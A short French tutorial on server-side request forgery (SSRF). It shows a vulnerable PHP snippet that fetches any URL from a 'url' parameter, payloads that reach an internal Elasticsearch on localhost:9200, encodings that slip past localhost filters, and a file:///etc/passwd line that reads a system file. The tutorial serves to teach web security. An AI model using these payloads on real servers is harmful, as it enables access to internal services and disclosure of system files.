SSRF (Server Side request forgery)
Par exemple, vous pouvez vous connecter à un site web qui utilise des bases de données comme elasticsearch ou mysql sur leur réseau local, mais vous ne pouvez y accéder directement. Si vous pouvez exécuter un script sur le serveur qui permet d’inclure un URL, il est possible que vous soyez capable d’y accéder et avoir accès à l’information souhaité.
Nous voyons ici qu’une image est incluse via le paramètre url. Nous pourrions par exemple utiliser http://localhost:9200 pour accéder au serveur elasticsearch sur le serveur web.
<?php
if (isset($_GET['url']))
{
$url = $_GET['url'];
$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);
}
Il est possible qu’il y ait filtration (localhost ou 127.0.0.1 interdit). Il est possible de contourner cette protection (parfois)
http://0.0.0.0:9200
http://[::]:9200 #ipv6
http://::::9200
http://0x7f000001:9200 #encodage hexadécimal. https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72
http://2130706433:9200 #encodage décimal
Un autre protocole
file:///etc/passwd